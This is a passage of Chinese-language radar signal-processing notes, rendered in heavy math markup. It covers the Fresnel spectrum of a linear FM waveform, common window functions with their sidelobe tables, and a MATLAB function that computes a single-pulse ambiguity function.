z^2/2}dz\}</span><span><span><span></span><span><span><span><span><span><span></span><span>X</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>f</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>(</span><span>π</span><span>f</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>/</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span>{</span><span><span>∫</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>π</span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>/2</span></span></span></span></span></span></span></span></span><span>d</span><span>z</span><span></span><span>−</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span><span>−</span><span><span>z</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>π</span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>/2</span></span></span></span></span></span></span></span></span><span>d</span><span>z</span><span>}</span></span></span></span></span><span><span><span>z1=−2μ′π(τ02+πfμ′)=Bτ02(1+fB/2)z_1=-\sqrt{\frac{2\mu'}{\pi}}(\frac{\tau_0}{2}+\frac{\pi f}{\mu'})=\sqrt{\frac{B\tau_0}{2}}(1+\frac{f}{B/2})</span><span><span><span></span><span><span>z</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>−</span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>π</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span><span>f</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>B</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>(</span><span>1</span><span></span><span>+</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>B</span><span>/2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>f</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span></span><span><span><span>z2=μ′π(τ02−ωμ′)=Bτ02(1−fB/2)z_2=\sqrt{\frac{\mu'}{\pi}}(\frac{\tau_0}{2}-\frac{\omega}{\mu'})=\sqrt{\frac{B\tau_0}{2}}(1-\frac{f}{B/2})</span><span><span><span></span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>π</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>ω</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>B</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>(</span><span>1</span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>B</span><span>/2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>f</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span></span><p>用C(z)和S(z)表示菲涅耳（Fresnel）积分，定义为</p><span><span><span>C(z)=∫0zcos⁡πv22dv S(z)=∫0zsin⁡πv22dvC(z)=\int^z_0\cos{\frac{\pi v^2}{2}}dv\text{ }S(z)=\int^z_0\sin{\frac{\pi v^2}{2}}dv</span><span><span><span></span><span>C</span><span>(</span><span>z</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span>z</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>cos</span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span><span><span>v</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span><span>d</span><span>v</span><span><span> </span></span><span>S</span><span>(</span><span>z</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span>z</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>sin</span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span><span><span>v</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span><span>d</span><span>v</span></span></span></span></span><p>菲涅耳积分可近似表示为</p><span><span><span>C(z)≈12+1πzsin⁡(π2z2);z≥1C(z)\approx\frac{1}{2}+\frac{1}{\pi z}\sin{(\frac{\pi}{2}z^2)};z\ge1</span><span><span><span></span><span>C</span><span>(</span><span>z</span><span>)</span><span></span><span>≈</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>π</span><span>z</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>sin</span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>)</span></span><span>;</span><span></span><span>z</span><span></span><span>≥</span><span></span></span><span><span></span><span>1</span></span></span></span></span><span><span><span>S(z)≈12−1πzcos⁡(π2z2);z≥1S(z)\approx\frac{1}{2}-\frac{1}{\pi z}\cos{(\frac{\pi}{2}z^2)};z\ge1</span><span><span><span></span><span>S</span><span>(</span><span>z</span><span>)</span><span></span><span>≈</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>π</span><span>z</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>cos</span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>)</span></span><span>;</span><span></span><span>z</span><span></span><span>≥</span><span></span></span><span><span></span><span>1</span></span></span></span></span><p>注意，C(-z)=-C(z)，S(-z)=-S(z)。图3.7显示了当<span><span>0≤z≤4.00\le z\le4.0</span><span><span><span></span><span>0</span><span></span><span>≤</span><span></span></span><span><span></span><span>z</span><span></span><span>≤</span><span></span></span><span><span></span><span>4.0</span></span></span></span>时C(z)和S(z)的图形。将方程（3.121）代入方程（3.118）并进行积分得到</p><span><span><span>X~(f)=π2μ′e−j(πf)2/(μ′){[C(z2)+C(z1)]+j[S(z2)+S(z1)]}\tilde{X}(f)=\sqrt{\frac{\pi}{2\mu'}}e^{-j(\pi f)^2/(\mu')}\{[C(z_2)+C(z_1)]+j[S(z_2)+S(z_1)]\}</span><span><span><span></span><span><span><span><span><span><span></span><span>X</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>f</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>(</span><span>π</span><span>f</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>/</span><span>(</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span>)</span></span></span></span></span></span></span></span></span><span>{[</span><span>C</span><span>(</span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span>+</span><span></span></span><span><span></span><span>C</span><span>(</span><span><span>z</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)]</span><span></span><span>+</span><span></span></span><span><span></span><span>j</span><span>[</span><span>S</span><span>(</span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span>+</span><span></span></span><span><span></span><span>S</span><span>(</span><span><span>z</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)]}</span></span></span></span></span><p>图3.8显示了线性调频波形实部、虚部和幅度谱的典型曲线。图3.8（c）给出的方形谱是众所周知的菲涅耳谱。</p><p><img alt="" loading="lazy" width="1383" height="892" src="/_astro/image-15-33bff9389422.C_j7OFSH_Z1TWPOj.webp" /></p><p><img alt="" loading="lazy" width="1383" height="892" src="/_astro/image-16-be9db7083fc9.BOJaE-z2_ZqD6qc.webp" /></p><p><img alt="" loading="lazy" width="1371" height="895" src="/_astro/image-17-abae10109392.DcdIk2BO_Zy7Rqm.webp" /></p></section><section><h2>加窗技术<a href="#加窗技术"><span>#</span></a></h2><p>序列x(n)的截短可通过计算下面的乘积来实现：</p><p>x_w(n)=x(n)w(n)</p><p>式中，</p><span><span><span>w(n)={f(n);n=0,1,...,N−10 其他w(n)=\begin{cases} f(n);n=0,1,...,N-1\\ 0\text{ 其他} \end{cases}</span><span><span><span></span><span>w</span><span>(</span><span>n</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span>{</span></span><span><span><span><span><span><span><span><span></span><span><span>f</span><span>(</span><span>n</span><span>)</span><span>;</span><span></span><span>n</span><span></span><span>=</span><span></span><span>0</span><span>,</span><span></span><span>1</span><span>,</span><span></span><span>...</span><span>,</span><span></span><span>N</span><span></span><span>−</span><span></span><span>1</span></span></span><span><span></span><span><span>0</span><span><span> </span><span>其他</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中，<span><span>f(n)≤1f(n)\le1</span><span><span><span></span><span>f</span><span>(</span><span>n</span><span>)</span><span></span><span>≤</span><span></span></span><span><span></span><span>1</span></span></span></span>。有限序列w(n)称为加窗序列，或者简称为窗。加窗过程应不影响截短序列的相位响应，因此序列w(n)必须保持线性相位。这可以通过使窗函数相对于其中心点对称来实现。</p><p>如果对所有的n都有f(n)=1，这就是熟知的矩形窗。这会导致<a href="https://blog.haihengyang.com/1765269220938"><strong>吉布斯（Gibbs）现象</strong></a>，它显示为不连续点前后的过冲和波纹。图3.10所示为矩形窗的幅度谱。注意，第一副瓣比主瓣约低-13.46dB。在边缘附近的采样上加小量权的窗，在不连续点处将具有较小的过冲（较小的副瓣）。因此，与矩形窗相比，这是人们更期望的。不过，副瓣减少会被主瓣展宽所抵消，因此，恰当地选择窗序列是在副瓣减小和主瓣展宽之间不断地进行折中。表3.1和表3.2概括了一些常用窗对主瓣加宽与峰值降低的相应影响。</p><p><img alt="" loading="lazy" width="1373" height="895" src="/_astro/image-18-cb9129a8eff7.zuPrhcmy_ZRdVrg.webp" /></p>

<table><thead><tr><th></th><th></th><th></th></tr></thead><tbody><tr><td>窗</td><td>零值到零值的波束宽度（以矩形窗做参考）</td><td>峰值衰减</td></tr><tr><td>矩形</td><td>1</td><td>1</td></tr><tr><td>汉明（Hamming）</td><td>2</td><td>0.73</td></tr><tr><td>汉宁（Hanning）</td><td>2</td><td>0.664</td></tr><tr><td>布莱克曼（Blackman）</td><td>6</td><td>0.577</td></tr><tr><td>凯撒（Kaiser）（<span><span>β=6\beta=6</span><span><span><span></span><span>β</span><span></span><span>=</span><span></span></span><span><span></span><span>6</span></span></span></span>）<br /><br />凯撒（<span><span>β=3\beta=3</span><span><span><span></span><span>β</span><span></span><span>=</span><span></span></span><span><span></span><span>3</span></span></span></span>）</td><td>2.76<br /><br />1.75</td><td>0.683<br /><br />0.882</td></tr></tbody></table>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>窗</td><td>表达式</td><td>第一副瓣</td><td>主瓣宽度</td></tr><tr><td>矩形</td><td>w(n)=1</td><td>-13.46dB</td><td>1</td></tr><tr><td>汉明</td><td><span><span>w(n)=0.54−0.46cos⁡(2πnN−1)w(n)=0.54-0.46\cos{(\frac{2\pi n}{N-1})}</span><span><span><span></span><span>w</span><span>(</span><span>n</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>0.54</span><span></span><span>−</span><span></span></span><span><span></span><span>0.46</span><span></span><span>cos</span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>N</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>2</span><span>π</span><span>n</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span></span></td><td>-41dB</td><td>2</td></tr><tr><td>汉宁</td><td><span><span>w(n)=0.5[1−cos⁡(2πnN−1)]w(n)=0.5[1-\cos{(\frac{2\pi n}{N-1})}]</span><span><span><span></span><span>w</span><span>(</span><span>n</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>0.5</span><span>[</span><span>1</span><span></span><span>−</span><span></span></span><span><span></span><span>cos</span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>N</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>2</span><span>π</span><span>n</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span><span>]</span></span></span></span></td><td>-32dB</td><td>2</td></tr><tr><td>凯撒</td><td><span><span>w(n)=I0[β1−(2n/N)2]I0(β)w(n)=\frac{I_0[\beta\sqrt{1-(2n/N)^2}]}{I_0(\beta)}</span><span><span><span></span><span>w</span><span>(</span><span>n</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span><span>I</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>β</span><span>)</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>I</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>[</span><span>β</span><span><span><span><span><span><span></span><span><span>1</span><span>−</span><span>(</span><span>2</span><span>n</span><span>/</span><span>N</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>]</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span><br /><br /><span><span>I0I_0</span><span><span><span></span><span><span>I</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>是第一类零阶改进贝塞尔函数</td><td><span><span>β=2π\beta=2\pi</span><span><span><span></span><span>β</span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>π</span></span></span></span>时为-46dB</td><td><span><span>β=2π\beta=2\pi</span><span><span><span></span><span>β</span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>π</span></span></span></span>时为<span><span>5\sqrt{5}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>5</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td></tr></tbody></table><p>方程（3.186）所定义的乘法过程等效于频域上的循环卷积。由此可见，X_w(k)是X(k)的损坏形式（或变形形式）。为了减小这种变形，我们将寻找一种具有窄主瓣和小副瓣的窗函数。另外，使用非矩形窗将把功率减小为1/P_w，式中</p><span><span><span>Pw=1N∑n=0N−1w2(n)=∑k=0N−1∣W(k)∣2P_w=\frac{1}{N}\sum^{N-1}_{n=0}w^2(n)=\sum^{N-1}_{k=0}|W(k)|^2</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>N</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>N</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>w</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>(</span><span>n</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>k</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>N</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>∣</span><span>W</span><span>(</span><span>k</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p>由此得出，x_w(n)的离散功率谱（DPS）为</p><span><span><span>P0w=1PwN2∣X(0)∣2P_0^w=\frac{1}{P_wN^2}|X(0)|^2</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>N</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span><span>X</span><span>(</span><span>0</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><span><span><span>Pkw=1PwN2{∣X(k)∣2+∣X(N−k)∣2};k=1,2,...,N2−1P^w_k=\frac{1}{P_wN^2}\{|X(k)|^2+|X(N-k)|^2\};k=1,2,...,\frac{N}{2}-1</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>k</span></span></span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>N</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>{</span><span>∣</span><span>X</span><span>(</span><span>k</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>∣</span><span>X</span><span>(</span><span>N</span><span></span><span>−</span><span></span></span><span><span></span><span>k</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>}</span><span>;</span><span></span><span>k</span><span></span><span>=</span><span></span></span><span><span></span><span>1</span><span>,</span><span></span><span>2</span><span>,</span><span></span><span>...</span><span>,</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>N</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span></span><span><span><span>PN/2w=1PwN2∣X(N/2)∣2P^w_{N/2}=\frac{1}{P_wN^2}|X(N/2)|^2</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>N</span><span>/2</span></span></span></span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>w</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>N</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span><span>X</span><span>(</span><span>N</span><span>/2</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p>式中，由方程（3.188）确定。表3.2列出了一些常用窗的数学表达式。图3.11～图3.13给出了这些窗的频域特性。</p><p><img alt="" loading="lazy" width="1373" height="895" src="/_astro/image-19-517b249dd970.DBsHM51F_Zs4V2d.webp" /></p><p><img alt="" loading="lazy" width="1373" height="895" src="/_astro/image-20-3da49cb49824.CzA65Tyf_22rBHq.webp" /></p><p><img alt="" loading="lazy" width="1373" height="895" src="/_astro/image-21-fb21a721e60e.QuXpichO_Z289UFs.webp" /></p></section></section>
<section><h1>四、匹配滤波器雷达接收机<a href="#四匹配滤波器雷达接收机"><span>#</span></a></h1></section>
<section><h1>五、模糊函数——模拟波形<a href="#五模糊函数模拟波形"><span>#</span></a></h1><section><h2>MATLAB函数“single_pulse_ambg.m”<a href="#matlab函数single_pulse_ambgm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [x] = single_pulse_ambg (taup)</span></div></div><div><div><div>2</div></div><div><span>% Computes the ambiguity of a single pulse</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>% taup      == pulsewidth in seconds</span></div></div><div><div><div>6</div></div><div><span>%Output</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>% x         == ambiguity surface array</span></div></div><div><div><div>8</div></div><div><span>%</span></div></div><div><div><div>9</div></div><div><span>eps = 0.000001;</span></div></div><div><div><div>10</div></div><div><span>i = 0;</span></div></div><div><div><div>11</div></div><div><span>del = 2*taup/150;</span></div></div><div><div><div>12</div></div><div><span>for tau = -taup:del:taup</span></div></div><div><div><div>13</div></div><div><span><span>   </span></span><span>i = i + 1;</span></div></div><div><div><div>14</div></div><div><span><span>   </span></span><span>j = 0;</span></div></div><div><div><div>15</div></div><div><span><span>   </span></span><span>fd = linspace(-5/taup,5/taup,151);</span></div></div><div><div><div>16</div></div><div><span><span>   </span></span><span>val1 = 1. - abs(tau) / taup;</span></div></div><div><div><div>17</div></div><div><span><span>   </span></span><span>val2 = pi * taup .* (1.0 - abs(tau) / taup) .* fd;</span></div></div><div><div><div>18</div></div><div><span><span>   </span></span><span>x(:,i) = abs( val1 .* sin(val2+eps)./(val2+eps));</span></div></div><div><div><div>19</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“single_pulse_ambg.m”实现方程（5.13）。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>single_pulse_ambg[taup]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中 <code>taup</code> 是脉冲宽度。图5.2（a）和图5.2（b）给出了单脉冲模糊函数的三维图与等值线图。设 <span><span>fd=0f_d=0</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0</span></span></span></span>，可得到沿时延轴 <span><span>τ\tau</span><span><span><span></span><span>τ</span></span></span></span> 的模糊函数截线。更精确地说，</p><span><span><span>∣χ(τ;0)∣=(1−∣τ∣τ0)2 ∣τ∣≤τ0|\chi(\tau;0)|=(1-\frac{|\tau|}{\tau_0})^2\text{ }|\tau|\le\tau_0</span><span><span><span></span><span>∣</span><span>χ</span><span>(</span><span>τ</span><span>;</span><span></span><span>0</span><span>)</span><span>∣</span><span></span><span>=</span><span></span></span><span><span></span><span>(</span><span>1</span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>∣</span><span>τ</span><span>∣</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span> </span></span><span>∣</span><span>τ</span><span>∣</span><span></span><span>≤</span><span></span></span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><p>注意，信号 <span><span>x~(t)\tilde{x}(t)</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span> 的时间自相关函数等于 